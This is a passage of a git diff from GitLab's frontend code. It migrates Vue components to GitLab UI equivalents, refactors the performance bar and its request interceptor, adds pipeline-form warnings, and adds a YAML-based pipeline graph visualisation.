v-gl-modal="modalId"
- type="button"
- class="btn btn-danger"
+ category="primary"
+ variant="danger"
data-qa-selector="delete_button"
>
{{ __('Delete') }}
- </button>
+ </gl-button>
<gl-modal
:title="title"
:action-primary="{
diff --git a/app/assets/javascripts/pdf/page/index.vue b/app/assets/javascripts/pdf/page/index.vue
index 65f84e75e86..843c50cf9bc 100644
--- a/app/assets/javascripts/pdf/page/index.vue
+++ b/app/assets/javascripts/pdf/page/index.vue
@@ -52,19 +52,19 @@ export default {
<style>
.pdf-page {
- margin: 8px auto 0 auto;
+ margin: 8px auto 0;
border-top: 1px #ddd solid;
border-bottom: 1px #ddd solid;
width: 100%;
}
.pdf-page:first-child {
- margin-top: 0px;
- border-top: 0px;
+ margin-top: 0;
+ border-top: 0;
}
.pdf-page:last-child {
- margin-bottom: 0px;
- border-bottom: 0px;
+ margin-bottom: 0;
+ border-bottom: 0;
}
</style>
diff --git a/app/assets/javascripts/performance_bar/components/detailed_metric.vue b/app/assets/javascripts/performance_bar/components/detailed_metric.vue
index ef24dbfb6ce..9f05ee5c7c2 100644
--- a/app/assets/javascripts/performance_bar/components/detailed_metric.vue
+++ b/app/assets/javascripts/performance_bar/components/detailed_metric.vue
@@ -1,14 +1,14 @@
<script>
+import { GlIcon } from '@gitlab/ui';
import RequestWarning from './request_warning.vue';
import DeprecatedModal2 from '~/vue_shared/components/deprecated_modal_2.vue';
-import Icon from '~/vue_shared/components/icon.vue';
export default {
components: {
RequestWarning,
GlModal: DeprecatedModal2,
- Icon,
+ GlIcon,
},
props: {
currentRequest: {
@@ -104,7 +104,7 @@ export default {
type="button"
:aria-label="__('Toggle backtrace')"
>
- <icon :size="12" name="ellipsis_h" />
+ <gl-icon :size="12" name="ellipsis_h" />
</button>
</div>
<pre v-if="item.backtrace" class="backtrace-row js-toggle-content mt-2">{{
diff --git a/app/assets/javascripts/performance_bar/components/performance_bar_app.vue b/app/assets/javascripts/performance_bar/components/performance_bar_app.vue
index cccb5e1be06..165feb1b6aa 100644
--- a/app/assets/javascripts/performance_bar/components/performance_bar_app.vue
+++ b/app/assets/javascripts/performance_bar/components/performance_bar_app.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { glEmojiTag } from '~/emoji';
import AddRequest from './add_request.vue';
diff --git a/app/assets/javascripts/performance_bar/components/request_selector.vue b/app/assets/javascripts/performance_bar/components/request_selector.vue
index c22a648d17f..5a9d3a6d313 100644
--- a/app/assets/javascripts/performance_bar/components/request_selector.vue
+++ b/app/assets/javascripts/performance_bar/components/request_selector.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { GlPopover } from '@gitlab/ui';
import { glEmojiTag } from '~/emoji';
import { n__ } from '~/locale';
diff --git a/app/assets/javascripts/performance_bar/components/request_warning.vue b/app/assets/javascripts/performance_bar/components/request_warning.vue
index 0128d5bd733..b61e1e5b7a9 100644
--- a/app/assets/javascripts/performance_bar/components/request_warning.vue
+++ b/app/assets/javascripts/performance_bar/components/request_warning.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { GlPopover } from '@gitlab/ui';
import { glEmojiTag } from '~/emoji';
diff --git a/app/assets/javascripts/performance_bar/index.js b/app/assets/javascripts/performance_bar/index.js
index a294f3f36a6..f29b5f42d8f 100644
--- a/app/assets/javascripts/performance_bar/index.js
+++ b/app/assets/javascripts/performance_bar/index.js
@@ -5,14 +5,17 @@ import axios from '~/lib/utils/axios_utils';
import PerformanceBarService from './services/performance_bar_service';
import PerformanceBarStore from './stores/performance_bar_store';
-export default ({ container }) =>
- new Vue({
- el: container,
+import initPerformanceBarLog from './performance_bar_log';
+
+const initPerformanceBar = el => {
+ const performanceBarData = el.dataset;
+
+ return new Vue({
+ el,
components: {
PerformanceBarApp: () => import('./components/performance_bar_app.vue'),
},
data() {
- const performanceBarData = document.querySelector(this.$options.el).dataset;
const store = new PerformanceBarStore();
return {
@@ -24,15 +27,12 @@ export default ({ container }) =>
};
},
mounted() {
- this.interceptor = PerformanceBarService.registerInterceptor(
- this.peekUrl,
- this.loadRequestDetails,
- );
+ PerformanceBarService.registerInterceptor(this.peekUrl, this.loadRequestDetails);
this.loadRequestDetails(this.requestId, window.location.href);
},
beforeDestroy() {
- PerformanceBarService.removeInterceptor(this.interceptor);
+ PerformanceBarService.removeInterceptor();
},
methods: {
addRequestManually(urlOrRequestId) {
@@ -121,3 +121,15 @@ export default ({ container }) =>
});
},
});
+};
+
+document.addEventListener('DOMContentLoaded', () => {
+ const jsPeek = document.querySelector('#js-peek');
+ if (jsPeek) {
+ initPerformanceBar(jsPeek);
+ }
+});
+
+initPerformanceBarLog();
+
+export default initPerformanceBar;
diff --git a/app/assets/javascripts/performance_bar/performance_bar_log.js b/app/assets/javascripts/performance_bar/performance_bar_log.js
new file mode 100644
index 00000000000..638c544f2e1
--- /dev/null
+++ b/app/assets/javascripts/performance_bar/performance_bar_log.js
@@ -0,0 +1,28 @@
+/* eslint-disable no-console */
+import { getCLS, getFID, getLCP } from 'web-vitals';
+
+const initVitalsLog = () => {
+ const reportVital = data => {
+ console.log(`${String.fromCodePoint(0x1f4c8)} ${data.name} : `, data);
+ };
+
+ console.log(
+ `${String.fromCodePoint(
+ 0x1f4d1,
+ )} To get the final web vital numbers reported you maybe need to switch away and back to the tab`,
+ );
+ getCLS(reportVital);
+ getFID(reportVital);
+ getLCP(reportVital);
+};
+
+const initPerformanceBarLog = () => {
+ console.log(
+ `%c ${String.fromCodePoint(0x1f98a)} GitLab performance bar`,
+ 'width:100%;background-color: #292961; color: #FFFFFF; font-size:24px; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto; padding: 10px;display:block;padding-right: 100px;',
+ );
+
+ initVitalsLog();
+};
+
+export default initPerformanceBarLog;
diff --git a/app/assets/javascripts/performance_bar/services/performance_bar_service.js b/app/assets/javascripts/performance_bar/services/performance_bar_service.js
index 61b35b4b8f5..3c8303d102e 100644
--- a/app/assets/javascripts/performance_bar/services/performance_bar_service.js
+++ b/app/assets/javascripts/performance_bar/services/performance_bar_service.js
@@ -2,12 +2,14 @@ import axios from '../../lib/utils/axios_utils';
import { parseBoolean } from '~/lib/utils/common_utils';
export default class PerformanceBarService {
+ static interceptor = null;
+
static fetchRequestDetails(peekUrl, requestId) {
return axios.get(peekUrl, { params: { request_id: requestId } });
}
static registerInterceptor(peekUrl, callback) {
- const interceptor = response => {
+ PerformanceBarService.interceptor = response => {
const [fireCallback, requestId, requestUrl] = PerformanceBarService.callbackParams(
response,
peekUrl,
@@ -20,22 +22,20 @@ export default class PerformanceBarService {
return response;
};
- return axios.interceptors.response.use(interceptor);
+ return axios.interceptors.response.use(PerformanceBarService.interceptor);
}
- static removeInterceptor(interceptor) {
- axios.interceptors.response.eject(interceptor);
+ static removeInterceptor() {
+ axios.interceptors.response.eject(PerformanceBarService.interceptor);
+ PerformanceBarService.interceptor = null;
}
static callbackParams(response, peekUrl) {
const requestId = response.headers && response.headers['x-request-id'];
- // Get the request URL from response.config for Axios, and response for
- // Vue Resource.
- const requestUrl = (response.config || response).url;
- const apiRequest = requestUrl && requestUrl.match(/^\/api\//);
+ const requestUrl = response.config?.url;
const cachedResponse =
response.headers && parseBoolean(response.headers['x-gitlab-from-cache']);
- const fireCallback = requestUrl !== peekUrl && requestId && !apiRequest && !cachedResponse;
+ const fireCallback = requestUrl !== peekUrl && Boolean(requestId) && !cachedResponse;
return [fireCallback, requestId, requestUrl];
}
diff --git a/app/assets/javascripts/performance_bar/stores/performance_bar_store.js b/app/assets/javascripts/performance_bar/stores/performance_bar_store.js
index 6f443db47ed..8c88851f039 100644
--- a/app/assets/javascripts/performance_bar/stores/performance_bar_store.js
+++ b/app/assets/javascripts/performance_bar/stores/performance_bar_store.js
@@ -47,7 +47,10 @@ export default class PerformanceBarStore {
}
canTrackRequest(requestUrl) {
- return this.requests.filter(request => request.url === requestUrl).length < 2;
+ return (
+ requestUrl.endsWith('/api/graphql') ||
+ this.requests.filter(request => request.url === requestUrl).length < 2
+ );
}
static truncateUrl(requestUrl) {
diff --git a/app/assets/javascripts/pipeline_new/components/pipeline_new_form.vue b/app/assets/javascripts/pipeline_new/components/pipeline_new_form.vue
index e079603a5d4..be8ce832d20 100644
--- a/app/assets/javascripts/pipeline_new/components/pipeline_new_form.vue
+++ b/app/assets/javascripts/pipeline_new/components/pipeline_new_form.vue
@@ -9,13 +9,13 @@ import {
GlFormInput,
GlFormSelect,
GlLink,
- GlNewDropdown,
- GlNewDropdownItem,
+ GlDropdown,
+ GlDropdownItem,
GlSearchBoxByType,
GlSprintf,
} from '@gitlab/ui';
-import { s__, __ } from '~/locale';
-import Api from '~/api';
+import { s__, __, n__ } from '~/locale';
+import axios from '~/lib/utils/axios_utils';
import { redirectTo } from '~/lib/utils/url_utility';
import { VARIABLE_TYPE, FILE_TYPE } from '../constants';
@@ -29,6 +29,8 @@ export default {
),
formElementClasses: 'gl-mr-3 gl-mb-3 table-section section-15',
errorTitle: __('The form contains the following error:'),
+ warningTitle: __('The form contains the following warning:'),
+ maxWarningsSummary: __('%{total} warnings found: showing first %{warningsDisplayed}'),
components: {
GlAlert,
GlButton,
@@ -37,8 +39,8 @@ export default {
GlFormInput,
GlFormSelect,
GlLink,
- GlNewDropdown,
- GlNewDropdownItem,
+ GlDropdown,
+ GlDropdownItem,
GlSearchBoxByType,
GlSprintf,
},
@@ -74,13 +76,20 @@ export default {
required: false,
default: () => ({}),
},
+ maxWarnings: {
+ type: Number,
+ required: true,
+ },
},
data() {
return {
searchTerm: '',
refValue: this.refParam,
variables: {},
- error: false,
+ error: null,
+ warnings: [],
+ totalWarnings: 0,
+ isWarningDismissed: false,
};
},
computed: {
@@ -91,6 +100,18 @@ export default {
variablesLength() {
return Object.keys(this.variables).length;
},
+ overMaxWarningsLimit() {
+ return this.totalWarnings > this.maxWarnings;
+ },
+ warningsSummary() {
+ return n__('%d warning found:', '%d warnings found:', this.warnings.length);
+ },
+ summaryMessage() {
+ return this.overMaxWarningsLimit ? this.$options.maxWarningsSummary : this.warningsSummary;
+ },
+ shouldShowWarning() {
+ return this.warnings.length > 0 && !this.isWarningDismissed;
+ },
},
created() {
if (this.variableParams) {
@@ -145,13 +166,20 @@ export default {
({ key, value }) => key !== '' && value !== '',
);
- return Api.createPipeline(this.projectId, {
- ref: this.refValue,
- variables: filteredVariables,
- })
- .then(({ data }) => redirectTo(data.web_url))
+ return axios
+ .post(this.pipelinesPath, {
+ ref: this.refValue,
+ variables: filteredVariables,
+ })
+ .then(({ data }) => {
+ redirectTo(`${this.pipelinesPath}/${data.id}`);
+ })
.catch(err => {
- this.error = err.response.data.message.base;
+ const { errors, warnings, total_warnings: totalWarnings } = err.response.data;
+ const [error] = errors;
+ this.error = error;
+ this.warnings = warnings;
+ this.totalWarnings = totalWarnings;
});
},
},
@@ -166,16 +194,45 @@ export default {
:dismissible="false"
variant="danger"
class="gl-mb-4"
+ data-testid="run-pipeline-error-alert"
>{{ error }}</gl-alert
>
+ <gl-alert
+ v-if="shouldShowWarning"
+ :title="$options.warningTitle"
+ variant="warning"
+ class="gl-mb-4"
+ data-testid="run-pipeline-warning-alert"
+ @dismiss="isWarningDismissed = true"
+ >
+ <details>
+ <summary>
+ <gl-sprintf :message="summaryMessage">
+ <template #total>
+ {{ totalWarnings }}
+ </template>
+ <template #warningsDisplayed>
+ {{ maxWarnings }}
+ </template>
+ </gl-sprintf>
+ </summary>
+ <p
+ v-for="(warning, index) in warnings"
+ :key="`warning-${index}`"
+ data-testid="run-pipeline-warning"
+ >
+ {{ warning }}
+ </p>
+ </details>
+ </gl-alert>
<gl-form-group :label="s__('Pipeline|Run for')">
- <gl-new-dropdown :text="refValue" block>
+ <gl-dropdown :text="refValue" block>
<gl-search-box-by-type
v-model.trim="searchTerm"
:placeholder="__('Search branches and tags')"
class="gl-p-2"
/>
- <gl-new-dropdown-item
+ <gl-dropdown-item
v-for="(ref, index) in filteredRefs"
:key="index"
class="gl-font-monospace"
@@ -184,8 +241,8 @@ export default {
@click="setRefSelected(ref)"
>
{{ ref }}
- </gl-new-dropdown-item>
- </gl-new-dropdown>
+ </gl-dropdown-item>
+ </gl-dropdown>
<template #description>
<div>
diff --git a/app/assets/javascripts/pipeline_new/index.js b/app/assets/javascripts/pipeline_new/index.js
index 1c4812c2e0e..f1ea86f8c5f 100644
--- a/app/assets/javascripts/pipeline_new/index.js
+++ b/app/assets/javascripts/pipeline_new/index.js
@@ -11,6 +11,7 @@ export default () => {
fileParam,
refNames,
settingsLink,
+ maxWarnings,
} = el?.dataset;
const variableParams = JSON.parse(varParam);
@@ -29,6 +30,7 @@ export default () => {
fileParams,
refs,
settingsLink,
+ maxWarnings: Number(maxWarnings),
},
});
},
diff --git a/app/assets/javascripts/pipelines/components/graph/action_component.vue b/app/assets/javascripts/pipelines/components/graph/action_component.vue
index 137455bcae1..efa11580c41 100644
--- a/app/assets/javascripts/pipelines/components/graph/action_component.vue
+++ b/app/assets/javascripts/pipelines/components/graph/action_component.vue
@@ -1,10 +1,9 @@
<script>
-import { GlTooltipDirective, GlButton, GlLoadingIcon } from '@gitlab/ui';
+import { GlTooltipDirective, GlButton, GlLoadingIcon, GlIcon } from '@gitlab/ui';
import axios from '~/lib/utils/axios_utils';
import { dasherize } from '~/lib/utils/text_utility';
import { __ } from '~/locale';
import { deprecatedCreateFlash as createFlash } from '~/flash';
-import Icon from '~/vue_shared/components/icon.vue';
/**
* Renders either a cancel, retry or play icon button and handles the post request
@@ -18,7 +17,7 @@ import Icon from '~/vue_shared/components/icon.vue';
*/
export default {
components: {
- Icon,
+ GlIcon,
GlButton,
GlLoadingIcon,
},
@@ -92,6 +91,6 @@ export default {
@click="onClickAction"
>
<gl-loading-icon v-if="isLoading" class="js-action-icon-loading" />
- <icon v-else :name="actionIcon" />
+ <gl-icon v-else :name="actionIcon" class="gl-mr-0!" />
</gl-button>
</template>
diff --git a/app/assets/javascripts/pipelines/components/graph/graph_component.vue b/app/assets/javascripts/pipelines/components/graph/graph_component.vue
index f5bf6a6ed34..924cdeebba1 100644
--- a/app/assets/javascripts/pipelines/components/graph/graph_component.vue
+++ b/app/assets/javascripts/pipelines/components/graph/graph_component.vue
@@ -44,6 +44,10 @@ export default {
return {
downstreamMarginTop: null,
jobName: null,
+ pipelineExpanded: {
+ jobName: '',
+ expanded: false,
+ },
};
},
computed: {
@@ -120,6 +124,19 @@ export default {
setJob(jobName) {
this.jobName = jobName;
},
+ setPipelineExpanded(jobName, expanded) {
+ if (expanded) {
+ this.pipelineExpanded = {
+ jobName,
+ expanded,
+ };
+ } else {
+ this.pipelineExpanded = {
+ expanded,
+ jobName: '',
+ };
+ }
+ },
},
};
</script>
@@ -181,6 +198,7 @@ export default {
:has-triggered-by="hasTriggeredBy"
:action="stage.status.action"
:job-hovered="jobName"
+ :pipeline-expanded="pipelineExpanded"
@refreshPipelineGraph="refreshPipelineGraph"
/>
</ul>
@@ -193,6 +211,7 @@ export default {
graph-position="right"
@linkedPipelineClick="handleClickedDownstream"
@downstreamHovered="setJob"
+ @pipelineExpandToggle="setPipelineExpanded"
/>
<pipeline-graph
diff --git a/app/assets/javascripts/pipelines/components/graph/job_group_dropdown.vue b/app/assets/javascripts/pipelines/components/graph/job_group_dropdown.vue
index 15c220a554d..11fb2b18e9d 100644
--- a/app/assets/javascripts/pipelines/components/graph/job_group_dropdown.vue
+++ b/app/assets/javascripts/pipelines/components/graph/job_group_dropdown.vue
@@ -69,9 +69,7 @@ export default {
>
<ci-icon :status="group.status" />
- <span
- class="ci-status-text text-truncate mw-70p gl-pl-1-deprecated-no-really-do-not-use-me d-inline-block align-bottom"
- >
+ <span class="ci-status-text text-truncate mw-70p gl-pl-2 d-inline-block align-bottom">
{{ group.name }}
</span>
diff --git a/app/assets/javascripts/pipelines/components/graph/job_item.vue b/app/assets/javascripts/pipelines/components/graph/job_item.vue
index 4d72cc55b34..0fe0b671273 100644
--- a/app/assets/javascripts/pipelines/components/graph/job_item.vue
+++ b/app/assets/javascripts/pipelines/components/graph/job_item.vue
@@ -31,7 +31,7 @@ import delayedJobMixin from '~/jobs/mixins/delayed_job_mixin';
*/
export default {
- hoverClass: 'gl-inset-border-1-blue-500',
+ hoverClass: 'gl-shadow-x0-y0-b3-s1-blue-500',
components: {
ActionComponent,
JobNameComponent,
@@ -61,6 +61,11 @@ export default {
required: false,
default: '',
},
+ pipelineExpanded: {
+ type: Object,
+ required: false,
+ default: () => ({}),
+ },
},
computed: {
boundary() {
@@ -101,8 +106,14 @@ export default {
hasAction() {
return this.job.status && this.job.status.action && this.job.status.action.path;
},
+ relatedDownstreamHovered() {
+ return this.job.name === this.jobHovered;
+ },
+ relatedDownstreamExpanded() {
+ return this.job.name === this.pipelineExpanded.jobName && this.pipelineExpanded.expanded;
+ },
jobClasses() {
- return this.job.name === this.jobHovered
+ return this.relatedDownstreamHovered || this.relatedDownstreamExpanded
? `${this.$options.hoverClass} ${this.cssClassJobName}`
: this.cssClassJobName;
},
@@ -121,8 +132,9 @@ export default {
v-gl-tooltip="{ boundary, placement: 'bottom' }"
:href="status.details_path"
:title="tooltipText"
- :class="cssClassJobName"
+ :class="jobClasses"
class="js-pipeline-graph-job-link qa-job-link menu-item"
+ data-testid="job-with-link"
>
<job-name-component :name="job.name" :status="job.status" />
</gl-link>
diff --git a/app/assets/javascripts/pipelines/components/graph/job_name_component.vue b/app/assets/javascripts/pipelines/components/graph/job_name_component.vue
index 74a261f35d7..30ba243077e 100644
--- a/app/assets/javascripts/pipelines/components/graph/job_name_component.vue
+++ b/app/assets/javascripts/pipelines/components/graph/job_name_component.vue
@@ -27,9 +27,7 @@ export default {
<template>
<span class="ci-job-name-component mw-100">
<ci-icon :status="status" />
- <span
- class="ci-status-text text-truncate mw-70p gl-pl-1-deprecated-no-really-do-not-use-me d-inline-block align-bottom"
- >
+ <span class="ci-status-text text-truncate mw-70p gl-pl-2 d-inline-block align-bottom">
{{ name }}
</span>
</span>
diff --git a/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue b/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue
index f0a8f9f7ab7..e359fc787c5 100644
--- a/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue
+++ b/app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue
@@ -1,5 +1,5 @@
<script>
-import { GlTooltipDirective, GlButton } from '@gitlab/ui';
+import { GlTooltipDirective, GlButton, GlLink, GlLoadingIcon } from '@gitlab/ui';
import CiStatus from '~/vue_shared/components/ci_icon.vue';
import { __, sprintf } from '~/locale';
@@ -10,6 +10,8 @@ export default {
components: {
CiStatus,
GlButton,
+ GlLink,
+ GlLoadingIcon,
},
props: {
pipeline: {
@@ -25,6 +27,11 @@ export default {
required: true,
},
},
+ data() {
+ return {
+ expanded: false,
+ };
+ },
computed: {
tooltipText() {
return `${this.downstreamTitle} #${this.pipeline.id} - ${this.pipelineStatus.label}
@@ -66,11 +73,22 @@ export default {
? sprintf(__('Created by %{job}'), { job: this.pipeline.source_job.name })
: '';
},
+ expandedIcon() {
+ if (this.parentPipeline) {
+ return this.expanded ? 'angle-right' : 'angle-left';
+ }
+ return this.expanded ? 'angle-left' : 'angle-right';
+ },
+ expandButtonPosition() {
+ return this.parentPipeline ? 'gl-left-0 gl-border-r-1!' : 'gl-right-0 gl-border-l-1!';
+ },
},
methods: {
onClickLinkedPipeline() {
this.$root.$emit('bv::hide::tooltip', this.buttonId);
+ this.expanded = !this.expanded;
this.$emit('pipelineClicked', this.$refs.linkedPipeline);
+ this.$emit('pipelineExpandToggle', this.pipeline.source_job.name, this.expanded);
},
hideTooltips() {
this.$root.$emit('bv::hide::tooltip');
@@ -88,27 +106,48 @@ export default {
<template>
<li
ref="linkedPipeline"
+ v-gl-tooltip
class="linked-pipeline build"
+ :title="tooltipText"
:class="{ 'downstream-pipeline': isDownstream }"
data-qa-selector="child_pipeline"
@mouseover="onDownstreamHovered"
@mouseleave="onDownstreamHoverLeave"
>
- <gl-button
- :id="buttonId"
- v-gl-tooltip
- :title="tooltipText"
- class="linked-pipeline-content"
- data-qa-selector="linked_pipeline_button"
- :class="`js-pipeline-expand-${pipeline.id}`"
- :loading="pipeline.isLoading"
- @click="onClickLinkedPipeline"
+ <div
+ class="gl-relative gl-bg-white gl-p-3 gl-border-solid gl-border-gray-100 gl-border-1"
+ :class="{ 'gl-pl-9': parentPipeline }"
>
- <ci-status v-if="!pipeline.isLoading" :status="pipelineStatus" css-classes="gl-top-0" />
- <span class="str-truncated"> {{ downstreamTitle }} &#8226; #{{ pipeline.id }} </span>
+ <div class="gl-display-flex">
+ <ci-status
+ v-if="!pipeline.isLoading"
+ :status="pipelineStatus"
+ css-classes="gl-top-0 gl-pr-2"
+ />
+ <div v-else class="gl-pr-2"><gl-loading-icon inline /></div>
+ <div class="gl-display-flex gl-flex-direction-column gl-w-13">
+ <span class="gl-text-truncate">
+ {{ downstreamTitle }}
+ </span>
+ <div class="gl-text-truncate">
+ <gl-link class="gl-text-blue-500!" :href="pipeline.path" data-testid="pipelineLink"
+ >#{{ pipeline.id }}</gl-link
+ >
+ </div>
+ </div>
+ </div>
<div class="gl-pt-2">
<span class="badge badge-primary" data-testid="downstream-pipeline-label">{{ label }}</span>
</div>
- </gl-button>
+ <gl-button
+ :id="buttonId"
+ class="gl-absolute gl-top-0 gl-bottom-0 gl-shadow-none! gl-rounded-0!"
+ :class="`js-pipeline-expand-${pipeline.id} ${expandButtonPosition}`"
+ :icon="expandedIcon"
+ data-testid="expandPipelineButton"
+ data-qa-selector="expand_pipeline_button"
+ @click="onClickLinkedPipeline"
+ />
+ </div>
</li>
</template>
diff --git a/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column.vue b/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column.vue
index d82885ff8de..3ad28d88345 100644
--- a/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column.vue
+++ b/app/assets/javascripts/pipelines/components/graph/linked_pipelines_column.vue
@@ -44,6 +44,9 @@ export default {
onDownstreamHovered(jobName) {
this.$emit('downstreamHovered', jobName);
},
+ onPipelineExpandToggle(jobName, expanded) {
+ this.$emit('pipelineExpandToggle', jobName, expanded);
+ },
},
};
</script>
@@ -65,6 +68,7 @@ export default {
:project-id="projectId"
@pipelineClicked="onPipelineClick($event, pipeline, index)"
@downstreamHovered="onDownstreamHovered"
+ @pipelineExpandToggle="onPipelineExpandToggle"
/>
</ul>
</div>
diff --git a/app/assets/javascripts/pipelines/components/graph/stage_column_component.vue b/app/assets/javascripts/pipelines/components/graph/stage_column_component.vue
index 9de6ba819c2..1453c349f44 100644
--- a/app/assets/javascripts/pipelines/components/graph/stage_column_component.vue
+++ b/app/assets/javascripts/pipelines/components/graph/stage_column_component.vue
@@ -41,6 +41,11 @@ export default {
required: false,
default: '',
},
+ pipelineExpanded: {
+ type: Object,
+ required: false,
+ default: () => ({}),
+ },
},
computed: {
hasAction() {
@@ -86,6 +91,7 @@ export default {
v-if="group.size === 1"
:job="group.jobs[0]"
:job-hovered="jobHovered"
+ :pipeline-expanded="pipelineExpanded"
css-class-job-name="build-content"
@pipelineActionRequestComplete="pipelineActionRequestComplete"
/>
diff --git a/app/assets/javascripts/pipelines/components/pipeline_graph/gitlab_ci_yaml_visualization.vue b/app/assets/javascripts/pipelines/components/pipeline_graph/gitlab_ci_yaml_visualization.vue
new file mode 100644
index 00000000000..3cc76425e2a
--- /dev/null
+++ b/app/assets/javascripts/pipelines/components/pipeline_graph/gitlab_ci_yaml_visualization.vue
@@ -0,0 +1,76 @@
+<script>
+import { GlTab, GlTabs } from '@gitlab/ui';
+import jsYaml from 'js-yaml';
+import PipelineGraph from './pipeline_graph.vue';
+import { preparePipelineGraphData } from '../../utils';
+
+export default {
+ FILE_CONTENT_SELECTOR: '#blob-content',
+ EMPTY_FILE_SELECTOR: '.nothing-here-block',
+
+ components: {
+ GlTab,
+ GlTabs,
+ PipelineGraph,
+ },
+ props: {
+ blobData: {
+ required: true,
+ type: String,
+ },
+ },
+ data() {
+ return {
+ selectedTabIndex: 0,
+ pipelineData: {},
+ };
+ },
+ computed: {
+ isVisualizationTab() {
+ return this.selectedTabIndex === 1;
+ },
+ },
+ async created() {
+ if (this.blobData) {
+ // The blobData in this case represents the gitlab-ci.yml data
+ const json = await jsYaml.load(this.blobData);
+ this.pipelineData = preparePipelineGraphData(json);
+ }
+ },
+ methods: {
+ // This is used because the blob page still uses haml, and we can't make
+ // our haml hide the unused section so we resort to a standard query here.
+ toggleFileContent({ isFileTab }) {
+ const el = document.querySelector(this.$options.FILE_CONTENT_SELECTOR);
+ const emptySection = document.querySelector(this.$options.EMPTY_FILE_SELECTOR);
+
+ const elementToHide = el || emptySection;
+
+ if (!elementToHide) {
+ return;
+ }
+
+ // Checking for the current style display prevents user
+ // from toggling visiblity on and off when clicking on the tab
+ if (!isFileTab && elementToHide.style.display !== 'none') {
+ elementToHide.style.display = 'none';
+ }
+
+ if (isFileTab && elementToHide.style.display === 'none') {
+ elementToHide.style.display = 'block';
+ }
+ },
+ },
+};
+</script>
+<template>
+ <div>
+ <div>
+ <gl-tabs v-model="selectedTabIndex">
+ <gl-tab :title="__('File')" @click="toggleFileContent({ isFileTab: true })" />
+ <gl-tab :title="__('Visualization')" @click="toggleFileContent({ isFileTab: false })" />
+ </gl-tabs>
+ </div>
+ <pipeline-graph v-if="isVisualizationTab" :pipeline-data="pipelineData" />
+ </div>
+</template>
diff --git a/app/assets/javascripts/pipelines/components/pipeline_graph/job_pill.vue b/app/assets/javascripts/pipelines/components/pipeline_graph/job_pill.vue
new file mode 100644
index 00000000000..19d41b166c3
--- /dev/null
+++ b/app/assets/javascripts/pipelines/components/pipeline_graph/job_pill.vue
@@ -0,0 +1,24 @@
+<script>
+import tooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+
+export default {
+ components: {
+ tooltipOnTruncate,
+ },
+ props: {
+ jobName: {
+ type: String,
+ required: true,
+ },
+ },
+};
+</script>
+<template>
+ <tooltip-on-truncate :title="jobName" truncate-target="child" placement="top">
+ <div
+ class="gl-bg-white gl-text-center gl-text-truncate gl-rounded-pill gl-inset-border-1-green-600 gl-mb-3 gl-px-5 gl-py-2 pipeline-job-pill "
+ >
+ {{ jobName }}
+ </div>
+ </tooltip-on-truncate>
+</template>
diff --git a/app/assets/javascripts/pipelines/components/pipeline_graph/pipeline_graph.vue b/app/assets/javascripts/pipelines/components/pipeline_graph/pipeline_graph.vue
new file mode 100644
index 00000000000..6a0d3cce1f3
--- /dev/null
+++ b/app/assets/javascripts/pipelines/components/pipeline_graph/pipeline_graph.vue
@@ -0,0 +1,57 @@
+<script>
+import { isEmpty } from 'lodash';
+import { GlAlert } from '@gitlab/ui';
+import JobPill from './job_pill.vue';
+import StagePill from './stage_pill.vue';
+
+export default {
+ components: {
+ GlAlert,
+ JobPill,
+ StagePill,
+ },
+ props: {
+ pipelineData: {
+ required: true,
+ type: Object,
+ },
+ },
+ computed: {
+ isPipelineDataEmpty() {
+ return isEmpty(this.pipelineData);
+ },
+ emptyClass() {
+ return !this.isPipelineDataEmpty ? 'gl-py-7' : '';
+ },
+ },
+};
+</script>
+<template>
+ <div class="gl-display-flex gl-bg-gray-50 gl-px-4 gl-overflow-auto" :class="emptyClass">
+ <gl-alert v-if="isPipelineDataEmpty" variant="tip" :dismissible="false">
+ {{ __('No content to show') }}
+ </gl-alert>
+ <template v-else>
+ <div
+ v-for="(stage, index) in pipelineData.stages"
+ :key="`${stage.name}-${index}`"
+ class="gl-flex-direction-column"
+ >
+ <div
+ class="gl-display-flex gl-align-items-center gl-bg-white gl-w-full gl-px-8 gl-py-4 gl-mb-5"
+ :class="{
+ 'stage-left-rounded': index === 0,
+ 'stage-right-rounded': index === pipelineData.stages.length - 1,
+ }"
+ >
+ <stage-pill :stage-name="stage.name" :is-empty="stage.groups.length === 0" />
+ </div>
+ <div
+ class="gl-display-flex gl-flex-direction-column gl-align-items-center gl-w-full gl-px-8"
+ >
+ <job-pill v-for="group in stage.groups" :key="group.name" :job-name="group.name" />
+ </div>
+ </div>
+ </template>
+ </div>
+</template>
diff --git a/app/assets/javascripts/pipelines/components/pipeline_graph/stage_pill.vue b/app/assets/javascripts/pipelines/components/pipeline_graph/stage_pill.vue
new file mode 100644
index 00000000000..7b2458db725
--- /dev/null
+++ b/app/assets/javascripts/pipelines/components/pipeline_graph/stage_pill.vue
@@ -0,0 +1,35 @@
+<script>
+import tooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+
+export default {
+ components: {
+ tooltipOnTruncate,
+ },
+ props: {
+ stageName: {
+ type: String,
+ required: true,
+ },
+ isEmpty: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ computed: {
+ emptyClass() {
+ return this.isEmpty ? 'gl-bg-gray-200' : 'gl-bg-gray-600';
+ },
+ },
+};
+</script>
+<template>
+ <tooltip-on-truncate :title="stageName" truncate-target="child" placement="top">
+ <div
+ class="gl-px-5 gl-py-2 gl-text-white gl-text-center gl-text-truncate gl-rounded-pill pipeline-stage-pill"
+ :class="emptyClass"
+ >
+ {{ stageName }}
+ </div>
+ </tooltip-on-truncate>
+</template>
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/nav_controls.vue b/app/assets/javascripts/pipelines/components/pipelines_list/nav_controls.vue
index a66bbb7e5ba..d7b6e033bd1 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/nav_controls.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/nav_controls.vue
@@ -1,12 +1,10 @@
<script>
